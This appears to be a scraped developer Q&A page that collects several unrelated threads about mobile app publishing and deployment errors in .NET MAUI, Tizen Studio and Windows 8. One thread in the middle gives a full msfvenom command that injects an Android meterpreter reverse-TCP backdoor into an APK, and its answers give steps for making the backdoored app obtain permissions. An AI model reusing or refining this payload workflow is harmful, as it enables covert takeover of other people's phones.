.NET MAUI iOS Publish throwing Missing Runtime Identifier error - maui

I'm trying to publish my .NET MAUI app using a Mac and I'm getting the following error:
A runtime identifier must be specified in order to publish this
project
First, I'm not an experienced Mac user. Second, I'm on a remote rental Mac and I don't have Admin or Sudo privileges.
With that said, I tried to use the command from Microsoft docs but wasn't making any progress due to a few issues with the IP address of the Mac I'm renting, etc.
I then found a similar issue which suggested that I use:
dotnet publish -f:net6.0-ios -c:Release
Using this produced the error above. Someone suggested I add the runtime identifier to the command so I tried:
dotnet publish -f:net6.0-ios -c:Release -r ios-arm64
This gives me an error that indicates that ios-arm64 is not a valid identifier.
I then tried adding the following to the project file which is still not working and throwing the same error:
<PropertyGroup Condition="'$(IsPublishing)' == 'true' And '$(TargetFramework)' == 'net6.0-ios'">
<RuntimeIdentifier>ios-arm64</RuntimeIdentifier>
</PropertyGroup>
Any suggestions how I can publish this app? I'm just trying to create the bundle. I'll then upload it manually.

If your provisioning profile is correct, and you are using VS 2022, try to export the certificate (p12 file) in Keychain of your Mac and import the certificate and profile into VS.
Go to Keychain, click Login, click Certificates on the top bar, then select the certificate, right click it and export as a p12 file, pay attention to remembering the password.
Move the file to your Windows machine, go to Tools -> Options->Xamarin ->Apple Account in VS, and click View Details, click Import Certificate, import the p12 file and input the password.

Unfortunately, you need sudo in order to publish your MAUI app. I had this issue before and I solved it using sudo command.
I think this issue can be fixed in future VS2022 release or when MAUI officially release in coming November 2022.

Related

What Is the CLI Command To Deploy a Release Build to a Physical iOS Device on a Mac

I've had almost complete failure trying to deploy my MAUI app to a physical device using Visual Studio for Mac. It's like a different error almost every time. So I've resorted to trying to deploy it to my plugged in iPhone using the CLI. I originally started with a command like this:
dotnet build -t:Run -p:_DeviceName=00008101-blahblahblah
It kept throwing errors about not being able to find an emulator with that device ID. So I first did a debug build and deploy using Visual Studio to the device, then I changed my CLI command to this:
dotnet build -t:Run -f:net6.0-ios -c:Release
-p:_DeviceName=00008101-blahblahblah
This also fails with multiple errors, like
'can't find publishing profile'
'AMDeviceSecureInstallApplicationBundle returned: 0xe8008015'
'The command "/usr/local/share/dotnet/packs/Microsoft.iOS.Sdk/15.4.447/tools/bin/mlaunch --installdev bin/Release/net6.0-ios/ios-arm64/WatchLikesApp.app/ --devname 00008101-blahblahblah" exited with code 1.
I've been trying to get this to work for like three days. Is there some straightforward way to get this deployed to my locally attached physical iOS device on my Mac?
1. Based on the error AMDeviceSecureInstallApplicationBundle returned: 0xe8008015, it looks like your device is not in the provisioning profiles that you currently have, please refer to this thread for more details.
2. If you want to run the app, you can execute the Run target by adding /t:Run to the command line. Please use the command below to deploy the app to your local iPhone. For more details, you can refer to this thread.
$ dotnet build /t:Run /p:RuntimeIdentifier=ios-arm64 -f net6.0-ios myProject.csproj

bundle 'com.microsoft.libSkiaSharp' Asset validation failed (90034) during MAUI App Submission with Transport

I publish a maui app with the console command
dotnet publish -f:net6.0-ios -c:Release /p:ServerAddress=192.168.xx.xxx /p:ServerUser=<name>/p:TcpPort=58181 /p:ArchiveOnBuild=true /p:_DotNetRootRemoteDirectory=/Users/<name>/Library/Caches/Xamarin/XMA/SDKs/dotnet/
and this creates an IPA file successfully. However, when I try to upload this file using Transport via a Macbook, I get the following error:
Asset validation failed (90034)
Missing or invalid signature. The bundle 'com.microsoft.libSkiaSharp' at bundle path 'Payload/Istanbul Bridge Conference Application.app/Frameworks/libSkiaSharp.framework' is not signed using an Apple submission certificate. (ID: da574c8d-9ef0-42a9-b7a8-05dfc6df8b41)
In my research I have seen that there are several questions with Asset validation failed (90034) but in all those the asset was the application itself. In my case a Microsoft library is causing problems. The definition of the library says it is multiplatform including iOS, so is this error because of my certificate or microsoft's? Is there anything that can be done to fix the problem?
I'm facing the same problem since the update to Visual Studio for Mac 17.x.
My solution is to copy the file, "Assets.car", from an old archive (built with the old version of Visual Studio) to the new release.
I know that this only fixes the symptom and not the reason, but it helps to get the app into the App Store.

payload injected app doesn't ask for any permissions

I'm trying to trying to inject an apk with msfvenom payload, and thus get a backdoor on my android device upon installing it. Why isn't it asking for permissions upon installation?
In the past I've been able to successfully create a standalone payload and get a backdoor tunnel to my device.
msfvenom -p android/meterpreter/reverse_tcp -x /Users/root/Downloads/newApp.apk LHOST=[IP] LPORT=[port] -o /Users/root/Desktop/android.apk
I expected the app to ask for all the permissions specified in manifest file, but it isn't asking for any during installation or at runtime.
I had the same problem, but I have found a fix for it.
create apk file injected with payload.
install it on your phone.
install APK Editor pro v1.9.7.
open the apk editor and search for the injected apk click on it and click on COMMON EDIT.
change Minimum SDK version to 10 and Target SDK Version to 17.
I have already checked it and it's working
You need to specify what permissions the Main.apk has in your device..did you check those?If it has not asked for permission chances are it has no permission.
I have found some problems in the payload generation, but I have also found a solution.
1.- Inject the payload in the original application.
2.- Install the apk file on an android device.
3.- Go to application settings and search for the infected application.
4.- Grant all permissions.
And that's it, this worked for me.

Tizen studio 2: application installation failure

I have just installed Tizen Studio 2.0 and I was trying to update my old application (version wearable 2.2) with new features.
The target device is a Samsung "Gear 2" (not "Gear S2").
By means of the package manager I installed both the Samsung certificate and the Samsung wearable extension.
I removed all the old certificates and acquired a new one via the certificate manager (Samsung option). The new certificate results active.
From the device manager/file explorer I selected "permit to install applications". The result was en error and an invitation to create and activate a Samsung certificate. Exactly what I had done previoulsy!!!!!!
Trying to install the app via debugger the result was:
[Initializing the launch environment...]
RDS: On
Target information: SM-R380
Application information: Id(Z8KnFDT3ds.ride), Package Name(Z8KnFDT3ds),
Project Name(ride)
[Transferring the package...]
Transferred the package: wgt stream -> /opt/usr/apps/tmp/ride.wgt
[Installing the package...]
path is /opt/usr/apps/tmp/ride.wgt
processing result : FATAL_ERROR [61] failed
spend time for pkgcmd is [94]ms
cmd_ret:61
An exception occurred
(Installing the package... > Fail)
An exception occurred
Unexpected stop progress...
(9.763 sec)"
I have already tried (uselessly) to:
regenerate the .medata file,
to create a new the workspace,
to reinstall Tizen 2.0.,
to create a new certificate,
to install the wgt via sdb.
The time and the date on the Gear 2 are correctly synchronized with my host computer (OS Windows 10).
I noticed an anomaly in my Gear 2 DUID (PB+hcyFaLdbqjuVe+Gcn4vBlSYw=)
Considering what reported at the link: http://developer.samsung.com/gear/develop/getting-certificates/permit the DUID should be in any case preceded by a #1.0 or #2.0. This is not true in my case.
By changing manually the DUID to: 1.0#PB+hcyFaLdbqjuVe+Gcn4vBlSYw= a certficate is apparently correctly uploaded on the target even if the FATAL error 61 persits.
Any idea?
Regards
I have been having insurmountable problems with SDK 2.0 as well. Eventually I decided to roll back to the previous version but was struggling to find out how or where to get it. I got a response from the Tizen support team with the following instructions.
Launch Package Manager
click the "Configuration" icon in the top right corner of the Package Manager window.
Turn OFF the "Auto Update" feature
You will be able to see the list of previous versions of Tizen Studio. Select your desired version and click "OK"
This will prompt you that its going to update the previous version. please follow the UI prompt to uninstall this version and install the previous version.
This may or may not work for you.

The debugger was unable to find the registration for the target application

I am testing my Windows 8 app by logging in as the guest account. I want to see how it works installing with limited permissions.
It seems I cannot debug any apps. Here are the steps:
Login as the Windows 8 Guest Account
Open Visual Studio.
Create a new Windows Store app, using the grid template
Click the play button to deploy to the simulator or the local machine.
Upon deployment, I receive this error:
Unable to debug Windows Store app App1/App1/bin/Debug/App1.exe
The debugger was unable to find the registration for the target application. If the problem persists, try uninstalling and then reinstalling the application.
Am I unable to deploy apps without being an administrator? If not, is there a way around this problem?
It doesn't make sense to try to debug installing an app as a guest. Guest accounts are not allowed to install apps. There is a short forum post regarding accounts here.
If you are wanting to see how the app performs for a guest after it has already been installed, you can run the app from the desktop tile, but I don't know how to run the debugger on it, or even if you can.